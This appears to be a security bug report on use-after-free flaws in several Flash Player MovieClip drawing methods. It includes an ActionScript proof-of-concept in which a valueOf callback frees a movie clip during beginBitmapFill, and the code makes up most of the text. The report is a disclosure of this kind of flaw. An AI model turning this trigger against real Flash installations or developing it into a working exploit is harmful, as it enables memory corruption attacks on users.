There are use-after frees realated to storing a single pointer (this this pointer) in several MovieClip drawing methods, including beginFill, beginBitmapFill, beginGradientFill, linGradientStyle, lineTo, moveTo, curveTo and lineStyle. A proof-of-concept involving bitmapFill is bewlo:
|
|
|
|
import flash.display.*;
|
|
import flash.geom.*;
|
|
|
|
var bmpd:BitmapData = new BitmapData(20,20);
|
|
var rect1:Rectangle = new Rectangle(0,0,10,10);
|
|
var rect2:Rectangle = new Rectangle(0, 10, 10, 20);
|
|
var rect3:Rectangle = new Rectangle(10, 0, 20, 10);
|
|
var rect4:Rectangle = new Rectangle(10, 10, 20, 20);
|
|
bmpd.fillRect(rect1, 0xAA0000FF);
|
|
bmpd.fillRect(rect2, 0xAA00FF00);
|
|
bmpd.fillRect(rect3, 0xAAFF0000);
|
|
bmpd.fillRect(rect4, 0xAA999999);
|
|
var thiz = this;
|
|
this.createEmptyMovieClip("bmp_fill_mc", 1);
|
|
with (bmp_fill_mc) {
|
|
|
|
var n = {valueOf: func};
|
|
matrix = {a:2, b:n, c:0, d:2, tx:0, ty:0};
|
|
//matrix.rotate(Math.PI/8);
|
|
repeat = true;
|
|
smoothing = true;
|
|
beginBitmapFill(bmpd, matrix, repeat, smoothing);
|
|
moveTo(0, 0);
|
|
lineTo(0, 60);
|
|
lineTo(60, 60);
|
|
lineTo(60, 0);
|
|
lineTo(0, 0);
|
|
endFill();
|
|
}
|
|
|
|
bmp_fill_mc._xscale = 200;
|
|
bmp_fill_mc._yscale = 200;
|
|
|
|
function func(){
|
|
|
|
var test = thiz.createTextField("test", 1, 1, 1, 10, 10);
|
|
trace(test);
|
|
test.removeTextField();
|
|
return 777;
|
|
}
|
|
|
|
A sample fla and swf are attached.
